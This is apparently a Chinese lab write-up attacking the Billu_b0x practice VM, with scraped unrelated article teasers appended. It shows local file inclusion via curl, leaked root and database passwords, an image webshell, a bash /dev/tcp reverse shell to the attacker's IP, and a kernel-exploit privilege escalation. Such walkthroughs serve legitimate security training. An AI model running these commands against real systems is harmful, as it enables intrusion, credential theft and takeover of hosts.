Billu_b0x靶机
信息收集
使用arp-scan 生成网络接口地址来查看ip
输入命令:
arp-scan -l
可以查看到我们的目标ip为192.168.187.153

nmap扫描端口开放
输入命令:
nmap -min-rate 10000 -p- 192.168.187.153
可以看到开放2个端口

nmap扫描端口信息
输入命令:
nmap -sC -sT -A -p 22,80 192.168.187.153

nmap漏洞脚本扫描
输入命令:
nmap --script=vuln 192.168.187.153
这里没有扫描可以利用的信息

查看web端
页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

扫描子目录
输入命令:
dirsearch -u http://192.168.187.153
可以发现一些子目录

输入命令:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50
这里也看到了一些子目录,等下访问看看

这个目录下查看到phpinfo()信息

查看php配置信息
在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

发现登录页面
这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

发现文件包含页面
这里的test目录下看到了一个新的提示

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

构造url语句
get请求验证
我们先尝试了get请求下的文件包含语句,但是发现没有成功
http://192.168.187.153/test.php?file=../../../etc/passwd

post请求验证
接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd
发现成功回显了信息,证明确实是存在本地文件包含

利用文件包含读取文件信息
既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了
查看add.php
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=add.php
add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

拿到数据库的密码信息
查看c.php
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=c.php
在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下
billu:b0x_billu

登录数据库
返回phpmy页面尝试登录,发现成功登录。

发现版本信息
这里在右下角发现了很多版本的信息

发现用户信息
然后在这个位置又找到了一组登录的信息
biLLu:hEx_it

渗透思路
这里我们有三种思路可选
- 可以从phpmyadmin的版本入手,查找有无对应的漏洞
输入命令:
searchsploit phpMyAdmin 3.4.7
但是没有找到,所以这条路行不通

- phpmyadmin的相关配置文件一般都是config.inc.php
在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放
位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php
直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)
root:roottoor

尝试ssh登录
直接试试ssh登录root用户(还是很怀疑是不是有这么简单)
输入命令:
ssh root@192.168.187.153
输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

- 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以
登录主页面
虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

这里登录进来后,又看到了文件上传的地点

制作图片木马
尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口
输入命令:
cat 1.gif 123.php > 2.gif

成功合成了图片

上传图片木马
点击上传后,发现成功上传

现在先开启监听

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

利用文件包含执行图片木马中的php语句
这里我们可以使用文件包含来执行图片里的php语句
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

但是kali中无法反弹成功

查询文件包含的函数
这里不知道为什么失败,查询一下当前页面的文件包含函数是什么
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=test.php
发现是readfile()这个参数

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

漏洞挖掘
然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞
我们查看一下这个文件
输入命令:
curl -X POST http://192.168.187.153/test.php -d file=panel.php
发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

构造一句话木马
还是利用图片木马的原理,不过这次我们需要构造一句话木马

再次合成图片木马
输入命令:
cat 1.gif shell.php > 4.gif

上传图片木马
显示上传成功

文件包含漏洞利用
上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue
上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

那我们先开启监听

配置反弹语句
echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash
由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

然后在bp中执行这段语句

执行以后就可以发现反弹shell成功了

提权思路
这里提权思路有这几种
sudo提权,suid提权,内核漏洞提权,计划任务提权
正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权
查找内核信息
输入命令:
uname -a

输入命令:
cat /etc/issue.net

查找漏洞
然后去查找有无对应的漏洞
输入命令:
searchsploit linux 3.13
这里找到了一个符合条件的漏洞文件,拿来试试

漏洞利用
首先将这个文件拷贝到桌面上
输入命令:
searchsploit -m 37292.c

然后开启http临时服务
输入命令:
python3 -m http.server 80

在靶机中使用wget命令下载文件(最好在/tmp目录下)

查看一下文件是否传输成功,发现没有问题

提权成功
编译,赋权,执行
输入命令:
gcc 37292.c -o exp
chmod 777 exp
./exp
执行完以后就发现已经是root权限了

相关文章:
Billu_b0x靶机
信息收集 使用arp-scan 生成网络接口地址来查看ip 输入命令: arp-scan -l 可以查看到我们的目标ip为192.168.187.153 nmap扫描端口开放 输入命令: nmap -min-rate 10000 -p- 192.168.187.153 可以看到开放2个端口 nmap扫描端口信息 输入命令&…...
GitHub+Picgo图片上传
Picgo下载,修改安装路径,其他一路下一步! 地址 注册GitHub,注册过程不详细展开,不会的百度一下 地址 新建GitHub仓库存放图片 ——————————————————————————————————————————…...
springboot的事务管理
在yml配置文件中添加以下:logging.level.org.springframework.jdbc.support.JdbcTransactionManagerdebug...
深入解析rsync:定义、架构、原理、应用场景及实战指南
前言 在现代数据管理和传输过程中,数据同步工具起着至关重要的作用。特别是在需要高效、可靠地在不同服务器或设备之间传输大量数据时,选择一款优秀的数据同步工具显得尤为重要。在众多工具中,rsync以其高效、灵活、可靠的特点,成…...
discuz手机版发帖提示“网络出现问题,请稍后再试”
大家好,我是网创有方。今天分享一个discuz发帖报错的问题。 问题描述:discuz手机网页端发帖提示“网络出现问题,请稍后再试”,但是实际上帖子已经发布成功。 本次记录下分析过程: 第一步:打开宝塔&#…...
图片如何去水印,PS 图片去水印的几种常见方法
在数字图像的世界里,水印常常被用来标识版权或防止未经授权的使用,但有时它们却成为了美观的障碍。无论是出于个人偏好还是专业需求,去除图片上的水印已经成为一项常见的任务。 Adobe Photoshop 作为行业标准的图像编辑软件,提供…...
【从零开始实现stm32无刷电机FOC】【实践】【5/6 stm32 adc外设的高级用法】
目录 采样时刻触发采样同步采样 点击查看本文开源的完整FOC工程 本节介绍的adc外设高级用法用于电机电流控制。 从前面几节可知,电机力矩来自于转子的q轴受磁力,而磁场强度与电流成正比,也就是说电机力矩与q轴电流成正相关,控制了…...
2407-mysql笔记
数据库(Database),简称db mariadbmysql 常见的数据库:mysql、oracle、高斯(Gauss)、redis、sqlserver、SQLite、HBase 一、SQL(Structured Query Language):结构化查询语言 1、作用ÿ…...
如何解决隐藏游戏服务器的源IP问题
在网络游戏领域,保护服务器的源IP地址不被轻易发现是一项重要的安全措施。游戏服务器的源IP一旦暴露,可能会遭受DDoS攻击、扫描和各种形式的安全威胁。然而,对于合法的游戏运营商而言,有时需要对服务器进行维护或调试,…...
云计算数据中心(一)
目录 一、云数据中心的特征二、云数据中心网络部署(一)改进型树结构(二)递归层次结构(三)光交换网络(四)无线数据中心网络(五)软件定义网络 一、云数据中心的…...
libwebrtc.a+exosip连接fS 环境部署tips
//运行FS服务器 sudo ./freeswitch -nc -nonat //公网sudo ./freeswitch //运行客户端 sudo ./fs_cli //加载模块 load mod_av load mod_verto0.Invite交互过程 1.fs码率设置 2.用户密码改动 3.数字签名的摘要 4.FS收不到ACK 5.公网部署 6.查看frewswitch都占用哪些端口 7.日志…...
第二证券:市场估值依然处于较低区域 适合中长期布局
A股中报成绩预告显示相比2024Q1,2024Q2企业产品销量或订单已有回暖,但价格反转暂未大面积到来,“量增价平、部分板块以价换量”是2024H1 A股成绩预告较显着的量价特征,这与微观库存周期有待回暖相匹配。此外中游部分环节出现不同程…...
开始Linux之路
人生得一知己足矣,斯世当以同怀视之。——鲁迅 Linux操作系统简单操作指令 1、ls指令2、pwd命令3、cd指令4、mkdir指令(重要)5、whoami命令6、创建一个普通用户7、重新认识指令8、which指令9、alias命令10、touch指令11、rmdir指令 及 rm指令(重要)12、man指令(重要…...
leetcode-三数之和
视频:https://www.bilibili.com/video/BV1bP411c7oJ/?spm_id_from333.788&vd_sourcedd84879fcf1be72f360461b01ecab0d6 从两数之和开始,排序后的两数之和,利用好升序的性质,可以将时间复杂度从on2降到on; class Solution …...
opencv—常用函数学习_“干货“_总
同样内容将拆解为一份份,发在我个人博客中 如http://t.csdnimg.cn/icOfX(非VIP文章),整理不易、感谢你的点赞收藏 目录 一、图像文件 1. imread:读取图像文件 2. imwrite:写入图像文件 3. imshow:显示图像 4. VideoCapture:捕获视频 二、创建Mat 1、创建Mat对…...
Spring Boot项目的控制器貌似只能get不能post问题
我这2天新建了一个Spring Boot项目测试,在控制器上写了两个接口,一个是支持Get方式访问,另一个支持Post方式访问,发现Get可以,而Post不行。前端Post后,报403,找不到这个方法。 一、原因 原因是…...
最新版智能修图-中文luminar ai 1.55(13797) 和 neo1.20,支持m芯片和intel芯片(绝对可用)
一。Luminar AI for macOS 完整版本 这个程序是第一个完全由人工智能驱动的图像编辑器。有了它,创建引人注目的照片是有趣的,令人惊讶的容易。它是一个独立的照片编辑器和macOS插件。 1.1 Luminar AI for macOS 轻轻地塑造和完善一个肖像打造富有表现…...
Open3D 最小二乘法拟合点云平面
目录 一、概述 1.1最小二乘法原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2matplotlib可视化 3.3平面拟合方程 前期试读,后续会将博客加入该专栏,欢迎订阅 Open3D点云算法与点云深度学习…...
【Django+Vue3 线上教育平台项目实战】登录功能模块之短信登录与钉钉三方登录
文章目录 前言一、几个关键概念1.HTTP无状态性2.Session机制3.Token认证4.JWT 二、通过手机号验证码登录1.前端短信登录界面2.发送短信接口与短信登录接口3.Vue 设置interceptors拦截器4. 服务端验证采用自定义中间件方式实现5. 操作流程及效果图如下: 三、通过第三…...
关于HBase、Phoenix、Flume、Maxwell 和 Flink
组件协同: HBase HBase 是一个分布式的、列存储的NoSQL数据库,它基于Google的Bigtable设计,特别适合存储海量的、稀疏的、非结构化或半结构化数据。HBase 提供了低延迟的随机读写能力,但其原生接口和数据模型较为复杂࿰…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...
R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...
【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能
1. 开发环境准备 安装DevEco Studio 3.1: 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK 项目配置: // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...
【LeetCode】3309. 连接二进制表示可形成的最大数值(递归|回溯|位运算)
LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 题目描述解题思路Java代码 题目描述 题目链接:LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 给你一个长度为 3 的整数数组 nums。 现以某种顺序 连接…...
Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...
